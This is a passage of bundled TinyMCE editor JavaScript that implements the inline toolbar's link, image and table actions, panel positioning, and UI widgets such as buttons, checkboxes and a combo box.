      for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    var resolve = function (p, scope) {
      var parts = p.split('.');
      return path(parts, scope);
    };

    var unsafe = function (name, scope) {
      return resolve(name, scope);
    };
    var getOrDie = function (name, scope) {
      var actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };
    var Global$1 = { getOrDie: getOrDie };

    function FileReader () {
      var f = Global$1.getOrDie('FileReader');
      return new f();
    }

    var global$c = tinymce.util.Tools.resolve('tinymce.util.Promise');

    var blobToBase64 = function (blob) {
      return new global$c(function (resolve) {
        var reader = FileReader();
        reader.onloadend = function () {
          resolve(reader.result.split(',')[1]);
        };
        reader.readAsDataURL(blob);
      });
    };
    var Conversions = { blobToBase64: blobToBase64 };

    var pickFile = function () {
      return new global$c(function (resolve) {
        var fileInput;
        fileInput = domGlobals.document.createElement('input');
        fileInput.type = 'file';
        fileInput.style.position = 'fixed';
        fileInput.style.left = 0;
        fileInput.style.top = 0;
        fileInput.style.opacity = 0.001;
        domGlobals.document.body.appendChild(fileInput);
        fileInput.onchange = function (e) {
          resolve(Array.prototype.slice.call(e.target.files));
        };
        fileInput.click();
        fileInput.parentNode.removeChild(fileInput);
      });
    };
    var Picker = { pickFile: pickFile };

    var count$1 = 0;
    var seed = function () {
      var rnd = function () {
        return Math.round(Math.random() * 4294967295).toString(36);
      };
      return 's' + Date.now().toString(36) + rnd() + rnd() + rnd();
    };
    var uuid = function (prefix) {
      return prefix + count$1++ + seed();
    };
    var Uuid = { uuid: uuid };

    var create$1 = function (dom, rng) {
      var bookmark = {};
      function setupEndPoint(start) {
        var offsetNode, container, offset;
        container = rng[start ? 'startContainer' : 'endContainer'];
        offset = rng[start ? 'startOffset' : 'endOffset'];
        if (container.nodeType === 1) {
          offsetNode = dom.create('span', { 'data-mce-type': 'bookmark' });
          if (container.hasChildNodes()) {
            offset = Math.min(offset, container.childNodes.length - 1);
            if (start) {
              container.insertBefore(offsetNode, container.childNodes[offset]);
            } else {
              dom.insertAfter(offsetNode, container.childNodes[offset]);
            }
          } else {
            container.appendChild(offsetNode);
          }
          container = offsetNode;
          offset = 0;
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      }
      setupEndPoint(true);
      if (!rng.collapsed) {
        setupEndPoint();
      }
      return bookmark;
    };
    var resolve$1 = function (dom, bookmark) {
      function restoreEndPoint(start) {
        var container, offset, node;
        function nodeIndex(container) {
          var node = container.parentNode.firstChild, idx = 0;
          while (node) {
            if (node === container) {
              return idx;
            }
            if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') {
              idx++;
            }
            node = node.nextSibling;
          }
          return -1;
        }
        container = node = bookmark[start ? 'startContainer' : 'endContainer'];
        offset = bookmark[start ? 'startOffset' : 'endOffset'];
        if (!container) {
          return;
        }
        if (container.nodeType === 1) {
          offset = nodeIndex(container);
          container = container.parentNode;
          dom.remove(node);
        }
        bookmark[start ? 'startContainer' : 'endContainer'] = container;
        bookmark[start ? 'startOffset' : 'endOffset'] = offset;
      }
      restoreEndPoint(true);
      restoreEndPoint();
      var rng = dom.createRng();
      rng.setStart(bookmark.startContainer, bookmark.startOffset);
      if (bookmark.endContainer) {
        rng.setEnd(bookmark.endContainer, bookmark.endOffset);
      }
      return rng;
    };
    var Bookmark = {
      create: create$1,
      resolve: resolve$1
    };

    var global$d = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');

    var global$e = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');

    var getSelectedElements = function (rootElm, startNode, endNode) {
      var walker, node;
      var elms = [];
      walker = new global$d(startNode, rootElm);
      for (node = startNode; node; node = walker.next()) {
        if (node.nodeType === 1) {
          elms.push(node);
        }
        if (node === endNode) {
          break;
        }
      }
      return elms;
    };
    var unwrapElements = function (editor, elms) {
      var bookmark, dom, selection;
      dom = editor.dom;
      selection = editor.selection;
      bookmark = Bookmark.create(dom, selection.getRng());
      global$4.each(elms, function (elm) {
        editor.dom.remove(elm, true);
      });
      selection.setRng(Bookmark.resolve(dom, bookmark));
    };
    var isLink = function (elm) {
      return elm.nodeName === 'A' && elm.hasAttribute('href');
    };
    var getParentAnchorOrSelf = function (dom, elm) {
      var anchorElm = dom.getParent(elm, isLink);
      return anchorElm ? anchorElm : elm;
    };
    var getSelectedAnchors = function (editor) {
      var startElm, endElm, rootElm, anchorElms, selection, dom, rng;
      selection = editor.selection;
      dom = editor.dom;
      rng = selection.getRng();
      startElm = getParentAnchorOrSelf(dom, global$e.getNode(rng.startContainer, rng.startOffset));
      endElm = global$e.getNode(rng.endContainer, rng.endOffset);
      rootElm = editor.getBody();
      anchorElms = global$4.grep(getSelectedElements(rootElm, startElm, endElm), isLink);
      return anchorElms;
    };
    var unlinkSelection = function (editor) {
      unwrapElements(editor, getSelectedAnchors(editor));
    };
    var Unlink = { unlinkSelection: unlinkSelection };

    var createTableHtml = function (cols, rows) {
      var x, y, html;
      html = '<table data-mce-id="mce" style="width: 100%">';
      html += '<tbody>';
      for (y = 0; y < rows; y++) {
        html += '<tr>';
        for (x = 0; x < cols; x++) {
          html += '<td><br></td>';
        }
        html += '</tr>';
      }
      html += '</tbody>';
      html += '</table>';
      return html;
    };
    var getInsertedElement = function (editor) {
      var elms = editor.dom.select('*[data-mce-id]');
      return elms[0];
    };
    var insertTableHtml = function (editor, cols, rows) {
      editor.undoManager.transact(function () {
        var tableElm, cellElm;
        editor.insertContent(createTableHtml(cols, rows));
        tableElm = getInsertedElement(editor);
        tableElm.removeAttribute('data-mce-id');
        cellElm = editor.dom.select('td,th', tableElm);
        editor.selection.setCursorLocation(cellElm[0], 0);
      });
    };
    var insertTable = function (editor, cols, rows) {
      editor.plugins.table ? editor.plugins.table.insertTable(cols, rows) : insertTableHtml(editor, cols, rows);
    };
    var formatBlock = function (editor, formatName) {
      editor.execCommand('FormatBlock', false, formatName);
    };
    var insertBlob = function (editor, base64, blob) {
      var blobCache, blobInfo;
      blobCache = editor.editorUpload.blobCache;
      blobInfo = blobCache.create(Uuid.uuid('mceu'), blob, base64);
      blobCache.add(blobInfo);
      editor.insertContent(editor.dom.createHTML('img', { src: blobInfo.blobUri() }));
    };
    var collapseSelectionToEnd = function (editor) {
      editor.selection.collapse(false);
    };
    var unlink = function (editor) {
      editor.focus();
      Unlink.unlinkSelection(editor);
      collapseSelectionToEnd(editor);
    };
    var changeHref = function (editor, elm, url) {
      editor.focus();
      editor.dom.setAttrib(elm, 'href', url);
      collapseSelectionToEnd(editor);
    };
    var insertLink = function (editor, url) {
      editor.execCommand('mceInsertLink', false, { href: url });
      collapseSelectionToEnd(editor);
    };
    var updateOrInsertLink = function (editor, url) {
      var elm = editor.dom.getParent(editor.selection.getStart(), 'a[href]');
      elm ? changeHref(editor, elm, url) : insertLink(editor, url);
    };
    var createLink = function (editor, url) {
      url.trim().length === 0 ? unlink(editor) : updateOrInsertLink(editor, url);
    };
    var Actions = {
      insertTable: insertTable,
      formatBlock: formatBlock,
      insertBlob: insertBlob,
      createLink: createLink,
      unlink: unlink
    };

    var addHeaderButtons = function (editor) {
      var formatBlock = function (name) {
        return function () {
          Actions.formatBlock(editor, name);
        };
      };
      for (var i = 1; i < 6; i++) {
        var name = 'h' + i;
        editor.addButton(name, {
          text: name.toUpperCase(),
          tooltip: 'Heading ' + i,
          stateSelector: name,
          onclick: formatBlock(name),
          onPostRender: function () {
            var span = this.getEl().firstChild.firstChild;
            span.style.fontWeight = 'bold';
          }
        });
      }
    };
    var addToEditor = function (editor, panel) {
      editor.addButton('quicklink', {
        icon: 'link',
        tooltip: 'Insert/Edit link',
        stateSelector: 'a[href]',
        onclick: function () {
          panel.showForm(editor, 'quicklink');
        }
      });
      editor.addButton('quickimage', {
        icon: 'image',
        tooltip: 'Insert image',
        onclick: function () {
          Picker.pickFile().then(function (files) {
            var blob = files[0];
            Conversions.blobToBase64(blob).then(function (base64) {
              Actions.insertBlob(editor, base64, blob);
            });
          });
        }
      });
      editor.addButton('quicktable', {
        icon: 'table',
        tooltip: 'Insert table',
        onclick: function () {
          panel.hide();
          Actions.insertTable(editor, 2, 2);
        }
      });
      addHeaderButtons(editor);
    };
    var Buttons = { addToEditor: addToEditor };

    var getUiContainerDelta$1 = function () {
      var uiContainer = global$1.container;
      if (uiContainer && global$2.DOM.getStyle(uiContainer, 'position', true) !== 'static') {
        var containerPos = global$2.DOM.getPos(uiContainer);
        var dx = containerPos.x - uiContainer.scrollLeft;
        var dy = containerPos.y - uiContainer.scrollTop;
        return Option.some({
          x: dx,
          y: dy
        });
      } else {
        return Option.none();
      }
    };
    var UiContainer$1 = { getUiContainerDelta: getUiContainerDelta$1 };

    var isDomainLike = function (href) {
      return /^www\.|\.(com|org|edu|gov|uk|net|ca|de|jp|fr|au|us|ru|ch|it|nl|se|no|es|mil)$/i.test(href.trim());
    };
    var isAbsolute = function (href) {
      return /^https?:\/\//.test(href.trim());
    };
    var UrlType = {
      isDomainLike: isDomainLike,
      isAbsolute: isAbsolute
    };

    var focusFirstTextBox = function (form) {
      form.find('textbox').eq(0).each(function (ctrl) {
        ctrl.focus();
      });
    };
    var createForm = function (name, spec) {
      var form = global$b.create(global$4.extend({
        type: 'form',
        layout: 'flex',
        direction: 'row',
        padding: 5,
        name: name,
        spacing: 3
      }, spec));
      form.on('show', function () {
        focusFirstTextBox(form);
      });
      return form;
    };
    var toggleVisibility = function (ctrl, state) {
      return state ? ctrl.show() : ctrl.hide();
    };
    var askAboutPrefix = function (editor, href) {
      return new global$c(function (resolve) {
        editor.windowManager.confirm('The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (result) {
          var output = result === true ? 'http://' + href : href;
          resolve(output);
        });
      });
    };
    var convertLinkToAbsolute = function (editor, href) {
      return !UrlType.isAbsolute(href) && UrlType.isDomainLike(href) ? askAboutPrefix(editor, href) : global$c.resolve(href);
    };
    var createQuickLinkForm = function (editor, hide) {
      var attachState = {};
      var unlink = function () {
        editor.focus();
        Actions.unlink(editor);
        hide();
      };
      var onChangeHandler = function (e) {
        var meta = e.meta;
        if (meta && meta.attach) {
          attachState = {
            href: this.value(),
            attach: meta.attach
          };
        }
      };
      var onShowHandler = function (e) {
        if (e.control === this) {
          var elm = void 0, linkurl = '';
          elm = editor.dom.getParent(editor.selection.getStart(), 'a[href]');
          if (elm) {
            linkurl = editor.dom.getAttrib(elm, 'href');
          }
          this.fromJSON({ linkurl: linkurl });
          toggleVisibility(this.find('#unlink'), elm);
          this.find('#linkurl')[0].focus();
        }
      };
      return createForm('quicklink', {
        items: [
          {
            type: 'button',
            name: 'unlink',
            icon: 'unlink',
            onclick: unlink,
            tooltip: 'Remove link'
          },
          {
            type: 'filepicker',
            name: 'linkurl',
            placeholder: 'Paste or type a link',
            filetype: 'file',
            onchange: onChangeHandler
          },
          {
            type: 'button',
            icon: 'checkmark',
            subtype: 'primary',
            tooltip: 'Ok',
            onclick: 'submit'
          }
        ],
        onshow: onShowHandler,
        onsubmit: function (e) {
          convertLinkToAbsolute(editor, e.data.linkurl).then(function (url) {
            editor.undoManager.transact(function () {
              if (url === attachState.href) {
                attachState.attach();
                attachState = {};
              }
              Actions.createLink(editor, url);
            });
            hide();
          });
        }
      });
    };
    var Forms = { createQuickLinkForm: createQuickLinkForm };

    var getSelectorStateResult = function (itemName, item) {
      var result = function (selector, handler) {
        return {
          selector: selector,
          handler: handler
        };
      };
      var activeHandler = function (state) {
        item.active(state);
      };
      var disabledHandler = function (state) {
        item.disabled(state);
      };
      if (item.settings.stateSelector) {
        return result(item.settings.stateSelector, activeHandler);
      }
      if (item.settings.disabledStateSelector) {
        return result(item.settings.disabledStateSelector, disabledHandler);
      }
      return null;
    };
    var bindSelectorChanged = function (editor, itemName, item) {
      return function () {
        var result = getSelectorStateResult(itemName, item);
        if (result !== null) {
          editor.selection.selectorChanged(result.selector, result.handler);
        }
      };
    };
    var itemsToArray$1 = function (items) {
      if (Type.isArray(items)) {
        return items;
      } else if (Type.isString(items)) {
        return items.split(/[ ,]/);
      }
      return [];
    };
    var create$2 = function (editor, name, items) {
      var toolbarItems = [];
      var buttonGroup;
      if (!items) {
        return;
      }
      global$4.each(itemsToArray$1(items), function (item) {
        if (item === '|') {
          buttonGroup = null;
        } else {
          if (editor.buttons[item]) {
            if (!buttonGroup) {
              buttonGroup = {
                type: 'buttongroup',
                items: []
              };
              toolbarItems.push(buttonGroup);
            }
            var button = editor.buttons[item];
            if (Type.isFunction(button)) {
              button = button();
            }
            button.type = button.type || 'button';
            button = global$b.create(button);
            button.on('postRender', bindSelectorChanged(editor, item, button));
            buttonGroup.items.push(button);
          }
        }
      });
      return global$b.create({
        type: 'toolbar',
        layout: 'flow',
        name: name,
        items: toolbarItems
      });
    };
    var Toolbar = { create: create$2 };

    var create$3 = function () {
      var panel, currentRect;
      var createToolbars = function (editor, toolbars) {
        return global$4.map(toolbars, function (toolbar) {
          return Toolbar.create(editor, toolbar.id, toolbar.items);
        });
      };
      var hasToolbarItems = function (toolbar) {
        return toolbar.items().length > 0;
      };
      var create = function (editor, toolbars) {
        var items = createToolbars(editor, toolbars).concat([
          Toolbar.create(editor, 'text', Settings.getTextSelectionToolbarItems(editor)),
          Toolbar.create(editor, 'insert', Settings.getInsertToolbarItems(editor)),
          Forms.createQuickLinkForm(editor, hide)
        ]);
        return global$b.create({
          type: 'floatpanel',
          role: 'dialog',
          classes: 'tinymce tinymce-inline arrow',
          ariaLabel: 'Inline toolbar',
          layout: 'flex',
          direction: 'column',
          align: 'stretch',
          autohide: false,
          autofix: true,
          fixed: true,
          border: 1,
          items: global$4.grep(items, hasToolbarItems),
          oncancel: function () {
            editor.focus();
          }
        });
      };
      var showPanel = function (panel) {
        if (panel) {
          panel.show();
        }
      };
      var movePanelTo = function (panel, pos) {
        panel.moveTo(pos.x, pos.y);
      };
      var togglePositionClass = function (panel, relPos) {
        relPos = relPos ? relPos.substr(0, 2) : '';
        global$4.each({
          t: 'down',
          b: 'up',
          c: 'center'
        }, function (cls, pos) {
          panel.classes.toggle('arrow-' + cls, pos === relPos.substr(0, 1));
        });
        if (relPos === 'cr') {
          panel.classes.toggle('arrow-left', true);
          panel.classes.toggle('arrow-right', false);
        } else if (relPos === 'cl') {
          panel.classes.toggle('arrow-left', false);
          panel.classes.toggle('arrow-right', true);
        } else {
          global$4.each({
            l: 'left',
            r: 'right'
          }, function (cls, pos) {
            panel.classes.toggle('arrow-' + cls, pos === relPos.substr(1, 1));
          });
        }
      };
      var showToolbar = function (panel, id) {
        var toolbars = panel.items().filter('#' + id);
        if (toolbars.length > 0) {
          toolbars[0].show();
          panel.reflow();
          return true;
        }
        return false;
      };
      var repositionPanelAt = function (panel, id, editor, targetRect) {
        var contentAreaRect, panelRect, result, userConstainHandler;
        userConstainHandler = Settings.getPositionHandler(editor);
        contentAreaRect = Measure.getContentAreaRect(editor);
        panelRect = global$2.DOM.getRect(panel.getEl());
        if (id === 'insert') {
          result = Layout.calcInsert(targetRect, contentAreaRect, panelRect);
        } else {
          result = Layout.calc(targetRect, contentAreaRect, panelRect);
        }
        if (result) {
          var delta = UiContainer$1.getUiContainerDelta().getOr({
            x: 0,
            y: 0
          });
          var transposedPanelRect = {
            x: result.rect.x - delta.x,
            y: result.rect.y - delta.y,
            w: result.rect.w,
            h: result.rect.h
          };
          currentRect = targetRect;
          movePanelTo(panel, Layout.userConstrain(userConstainHandler, targetRect, contentAreaRect, transposedPanelRect));
          togglePositionClass(panel, result.position);
          return true;
        } else {
          return false;
        }
      };
      var showPanelAt = function (panel, id, editor, targetRect) {
        showPanel(panel);
        panel.items().hide();
        if (!showToolbar(panel, id)) {
          hide();
          return;
        }
        if (repositionPanelAt(panel, id, editor, targetRect) === false) {
          hide();
        }
      };
      var hasFormVisible = function () {
        return panel.items().filter('form:visible').length > 0;
      };
      var showForm = function (editor, id) {
        if (panel) {
          panel.items().hide();
          if (!showToolbar(panel, id)) {
            hide();
            return;
          }
          var contentAreaRect = void 0, panelRect = void 0, result = void 0, userConstainHandler = void 0;
          showPanel(panel);
          panel.items().hide();
          showToolbar(panel, id);
          userConstainHandler = Settings.getPositionHandler(editor);
          contentAreaRect = Measure.getContentAreaRect(editor);
          panelRect = global$2.DOM.getRect(panel.getEl());
          result = Layout.calc(currentRect, contentAreaRect, panelRect);
          if (result) {
            panelRect = result.rect;
            movePanelTo(panel, Layout.userConstrain(userConstainHandler, currentRect, contentAreaRect, panelRect));
            togglePositionClass(panel, result.position);
          }
        }
      };
      var show = function (editor, id, targetRect, toolbars) {
        if (!panel) {
          Events.fireBeforeRenderUI(editor);
          panel = create(editor, toolbars);
          panel.renderTo().reflow().moveTo(targetRect.x, targetRect.y);
          editor.nodeChanged();
        }
        showPanelAt(panel, id, editor, targetRect);
      };
      var reposition = function (editor, id, targetRect) {
        if (panel) {
          repositionPanelAt(panel, id, editor, targetRect);
        }
      };
      var hide = function () {
        if (panel) {
          panel.hide();
        }
      };
      var focus = function () {
        if (panel) {
          panel.find('toolbar:visible').eq(0).each(function (item) {
            item.focus(true);
          });
        }
      };
      var remove = function () {
        if (panel) {
          panel.remove();
          panel = null;
        }
      };
      var inForm = function () {
        return panel && panel.visible() && hasFormVisible();
      };
      return {
        show: show,
        showForm: showForm,
        reposition: reposition,
        inForm: inForm,
        hide: hide,
        focus: focus,
        remove: remove
      };
    };

    var Layout$1 = global$8.extend({
      Defaults: {
        firstControlClass: 'first',
        lastControlClass: 'last'
      },
      init: function (settings) {
        this.settings = global$4.extend({}, this.Defaults, settings);
      },
      preRender: function (container) {
        container.bodyClasses.add(this.settings.containerClass);
      },
      applyClasses: function (items) {
        var self = this;
        var settings = self.settings;
        var firstClass, lastClass, firstItem, lastItem;
        firstClass = settings.firstControlClass;
        lastClass = settings.lastControlClass;
        items.each(function (item) {
          item.classes.remove(firstClass).remove(lastClass).add(settings.controlClass);
          if (item.visible()) {
            if (!firstItem) {
              firstItem = item;
            }
            lastItem = item;
          }
        });
        if (firstItem) {
          firstItem.classes.add(firstClass);
        }
        if (lastItem) {
          lastItem.classes.add(lastClass);
        }
      },
      renderHtml: function (container) {
        var self = this;
        var html = '';
        self.applyClasses(container.items());
        container.items().each(function (item) {
          html += item.renderHtml();
        });
        return html;
      },
      recalc: function () {
      },
      postRender: function () {
      },
      isNative: function () {
        return false;
      }
    });

    var AbsoluteLayout = Layout$1.extend({
      Defaults: {
        containerClass: 'abs-layout',
        controlClass: 'abs-layout-item'
      },
      recalc: function (container) {
        container.items().filter(':visible').each(function (ctrl) {
          var settings = ctrl.settings;
          ctrl.layoutRect({
            x: settings.x,
            y: settings.y,
            w: settings.w,
            h: settings.h
          });
          if (ctrl.recalc) {
            ctrl.recalc();
          }
        });
      },
      renderHtml: function (container) {
        return '<div id="' + container._id + '-absend" class="' + container.classPrefix + 'abs-end"></div>' + this._super(container);
      }
    });

    var Button = Widget.extend({
      Defaults: {
        classes: 'widget btn',
        role: 'button'
      },
      init: function (settings) {
        var self = this;
        var size;
        self._super(settings);
        settings = self.settings;
        size = self.settings.size;
        self.on('click mousedown', function (e) {
          e.preventDefault();
        });
        self.on('touchstart', function (e) {
          self.fire('click', e);
          e.preventDefault();
        });
        if (settings.subtype) {
          self.classes.add(settings.subtype);
        }
        if (size) {
          self.classes.add('btn-' + size);
        }
        if (settings.icon) {
          self.icon(settings.icon);
        }
      },
      icon: function (icon) {
        if (!arguments.length) {
          return this.state.get('icon');
        }
        this.state.set('icon', icon);
        return this;
      },
      repaint: function () {
        var btnElm = this.getEl().firstChild;
        var btnStyle;
        if (btnElm) {
          btnStyle = btnElm.style;
          btnStyle.width = btnStyle.height = '100%';
        }
        this._super();
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        var icon = self.state.get('icon'), image;
        var text = self.state.get('text');
        var textHtml = '';
        var ariaPressed;
        var settings = self.settings;
        image = settings.image;
        if (image) {
          icon = 'none';
          if (typeof image !== 'string') {
            image = domGlobals.window.getSelection ? image[0] : image[1];
          }
          image = ' style="background-image: url(\'' + image + '\')"';
        } else {
          image = '';
        }
        if (text) {
          self.classes.add('btn-has-text');
          textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
        }
        icon = icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
        ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
        return '<div id="' + id + '" class="' + self.classes + '" tabindex="-1"' + ariaPressed + '>' + '<button id="' + id + '-button" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '</div>';
      },
      bindStates: function () {
        var self = this, $ = self.$, textCls = self.classPrefix + 'txt';
        function setButtonText(text) {
          var $span = $('span.' + textCls, self.getEl());
          if (text) {
            if (!$span[0]) {
              $('button:first', self.getEl()).append('<span class="' + textCls + '"></span>');
              $span = $('span.' + textCls, self.getEl());
            }
            $span.html(self.encode(text));
          } else {
            $span.remove();
          }
          self.classes.toggle('btn-has-text', !!text);
        }
        self.state.on('change:text', function (e) {
          setButtonText(e.value);
        });
        self.state.on('change:icon', function (e) {
          var icon = e.value;
          var prefix = self.classPrefix;
          self.settings.icon = icon;
          icon = icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
          var btnElm = self.getEl().firstChild;
          var iconElm = btnElm.getElementsByTagName('i')[0];
          if (icon) {
            if (!iconElm || iconElm !== btnElm.firstChild) {
              iconElm = domGlobals.document.createElement('i');
              btnElm.insertBefore(iconElm, btnElm.firstChild);
            }
            iconElm.className = icon;
          } else if (iconElm) {
            btnElm.removeChild(iconElm);
          }
          setButtonText(self.state.get('text'));
        });
        return self._super();
      }
    });

    var BrowseButton = Button.extend({
      init: function (settings) {
        var self = this;
        settings = global$4.extend({
          text: 'Browse...',
          multiple: false,
          accept: null
        }, settings);
        self._super(settings);
        self.classes.add('browsebutton');
        if (settings.multiple) {
          self.classes.add('multiple');
        }
      },
      postRender: function () {
        var self = this;
        var input = funcs.create('input', {
          type: 'file',
          id: self._id + '-browse',
          accept: self.settings.accept
        });
        self._super();
        global$7(input).on('change', function (e) {
          var files = e.target.files;
          self.value = function () {
            if (!files.length) {
              return null;
            } else if (self.settings.multiple) {
              return files;
            } else {
              return files[0];
            }
          };
          e.preventDefault();
          if (files.length) {
            self.fire('change', e);
          }
        });
        global$7(input).on('click', function (e) {
          e.stopPropagation();
        });
        global$7(self.getEl('button')).on('click touchstart', function (e) {
          e.stopPropagation();
          input.click();
          e.preventDefault();
        });
        self.getEl().appendChild(input);
      },
      remove: function () {
        global$7(this.getEl('button')).off();
        global$7(this.getEl('input')).off();
        this._super();
      }
    });

    var ButtonGroup = Container.extend({
      Defaults: {
        defaultType: 'button',
        role: 'group'
      },
      renderHtml: function () {
        var self = this, layout = self._layout;
        self.classes.add('btn-group');
        self.preRender();
        layout.preRender(self);
        return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
      }
    });

    var Checkbox = Widget.extend({
      Defaults: {
        classes: 'checkbox',
        role: 'checkbox',
        checked: false
      },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.on('click mousedown', function (e) {
          e.preventDefault();
        });
        self.on('click', function (e) {
          e.preventDefault();
          if (!self.disabled()) {
            self.checked(!self.checked());
          }
        });
        self.checked(self.settings.checked);
      },
      checked: function (state) {
        if (!arguments.length) {
          return this.state.get('checked');
        }
        this.state.set('checked', state);
        return this;
      },
      value: function (state) {
        if (!arguments.length) {
          return this.checked();
        }
        return this.checked(state);
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = self.classPrefix;
        return '<div id="' + id + '" class="' + self.classes + '" unselectable="on" aria-labelledby="' + id + '-al" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-checkbox"></i>' + '<span id="' + id + '-al" class="' + prefix + 'label">' + self.encode(self.state.get('text')) + '</span>' + '</div>';
      },
      bindStates: function () {
        var self = this;
        function checked(state) {
          self.classes.toggle('checked', state);
          self.aria('checked', state);
        }
        self.state.on('change:text', function (e) {
          self.getEl('al').firstChild.data = self.translate(e.value);
        });
        self.state.on('change:checked change:value', function (e) {
          self.fire('change');
          checked(e.value);
        });
        self.state.on('change:icon', function (e) {
          var icon = e.value;
          var prefix = self.classPrefix;
          if (typeof icon === 'undefined') {
            return self.settings.icon;
          }
          self.settings.icon = icon;
          icon = icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
          var btnElm = self.getEl().firstChild;
          var iconElm = btnElm.getElementsByTagName('i')[0];
          if (icon) {
            if (!iconElm || iconElm !== btnElm.firstChild) {
              iconElm = domGlobals.document.createElement('i');
              btnElm.insertBefore(iconElm, btnElm.firstChild);
            }
            iconElm.className = icon;
          } else if (iconElm) {
            btnElm.removeChild(iconElm);
          }
        });
        if (self.state.get('checked')) {
          checked(true);
        }
        return self._super();
      }
    });

    var global$f = tinymce.util.Tools.resolve('tinymce.util.VK');

    var ComboBox = Widget.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        settings = self.settings;
        self.classes.add('combobox');
        self.subinput = true;
        self.ariaTarget = 'inp';
        settings.menu = settings.menu || settings.values;
        if (settings.menu) {
          settings.icon = 'caret';
        }
        self.on('click', function (e) {
          var elm = e.target;
          var root = self.getEl();
          if (!global$7.contains(root, elm) && elm !== root) {
            return;
          }
          while (elm && elm !== root) {
            if (elm.id && elm.id.indexOf('-open') !== -1) {
              self.fire('action');
              if (settings.menu) {
                self.showMenu();
                if (e.aria) {
                  self.menu.items()[0].focus();
                }
              }
            }
            elm = elm.parentNode;
          }
        });
        self.on('keydown', function (e) {
          var rootControl;
          if (e.keyCode === 13 && e.target.nodeName === 'INPUT') {
            e.preventDefault();
            self.parents().reverse().each(function (ctrl) {
              if (ctrl.toJSON) {
                rootControl = ctrl;
                return false;
              }
            });
            self.fire('submit', { data: rootControl.toJSON() });
          }
        });
        self.on('keyup', function (e) {
          if (e.target.nodeName === 'INPUT') {
            var oldValue = self.state.get('value');
            var newValue = e.target.value;
            if (newValue !== oldValue) {
              self.state.set('value', newValue);
              self.fire('autocomplete', e);
            }
          }
        });
        self.on('mouseover', function (e) {
          var tooltip = self.tooltip().moveTo(-65535);
          if (self.statusLevel() && e.target.className.indexOf(self.classPrefix + 'status') !== -1) {
            var statusMessage = self.statusMessage() || 'Ok';
            var rel = tooltip.text(statusMessage).show().testMoveRel(e.target, [
              'bc-tc',
              'bc-tl',
              'bc-tr'
            ]);
            tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
            tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
            tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
            tooltip.moveRel(e.target, rel);
          }
        });
      },
      statusLevel: function (value) {
        if (arguments.length > 0) {
          this.state.set('statusLevel', value);
        }
        return this.state.get('statusLevel');
      },
      statusMessage: function (value) {
        if (arguments.length > 0) {
          this.state.set('statusMessage', value);
        }
        return this.state.get('statusMessage');
      },
      showMenu: function () {
        var self = this;
        var settings = self.settings;
        var menu;
        if (!self.menu) {
          menu = settings.menu || [];
          if (menu.length) {
            menu = {
              type: 'menu',
              items: menu
            };
          } else {
            menu.type = menu.type || 'menu';
          }
          self.menu = global$b.create(menu).parent(self).renderTo(self.getContainerElm());
          self.fire('createmenu');
          self.menu.reflow();
          self.menu.on('cancel', function (e) {
            if (e.control === self.menu) {
              self.focus();
            }
          });
          self.menu.on('show hide', function (e) {
            e.control.items().each(function (ctrl) {
              ctrl.active(ctrl.value() === self.value());
            });
          }).fire('show');
          self.menu.on('select', function (e) {
            self.value(e.control.value());
          });
          self.on('focusin', function (e) {
            if (e.target.tagName.toUpperCase() === 'INPUT') {
              self.menu.hide();
            }
          });
          self.aria('expanded', true);
        }
        self.menu.show();
        self.menu.layoutRect({ w: self.layoutRect().w });
        self.menu.moveRel(self.getEl(), self.isRtl() ? [
          'br-tr',
          'tr-br'
        ] : [
          'bl-tl',
          'tl-bl'
        ]);
      },
      focus: function () {
        this.getEl('inp').focus();
      },
      repaint: function () {
        var self = this, elm = self.getEl(), openElm = self.getEl('open'), rect = self.layoutRect();
        var width, lineHeight, innerPadding = 0;
        var inputElm = elm.firstChild;
        if (self.statusLevel() && self.statusLevel() !== 'none') {
          innerPadding = parseInt(funcs.getRuntimeStyle(inputElm, 'padding-right'), 10) - parseInt(funcs.getRuntimeStyle(inputElm, 'padding-left'), 10);
        }
        if (openElm) {
          width = rect.w - funcs.getSize(openElm).width - 10;
        } else {
          width = rect.w - 10;
        }
        var doc = domGlobals.document;
        if (doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
          lineHeight = self.layoutRect().h - 2 + 'px';
        }
        global$7(inputElm).css({
          width: width - innerPadding,
          lineHeight: lineHeight
        });
        self._super();
        return self;
      },
      postRender: function () {
        var self = this;
        global$7(this.getEl('inp')).on('change', function (e) {
          self.state.set('value', e.target.value);
          self.fire('change', e);
        });
        return self._super();
      },
      renderHtml: function () {
        var self = this, id = self._id, settings = self.settings, prefix = self.classPrefix;
        var value = self.state.get('value') || '';
        var icon, text, openBtnHtml = '', extraAttrs = '', statusHtml = '';
        if ('spellcheck' in settings) {
          extraAttrs += ' spellcheck="' + settings.spellcheck + '"';
        }
        if (settings.maxLength) {
          extraAttrs += ' maxlength="' + settings.maxLength + '"';
        }
        if (settings.size) {
          extraAttrs += ' size="' + settings.size + '"';
        }
        if (settings.subtype) {
          extraAttrs += ' type="' + settings.subtype + '"';
        }
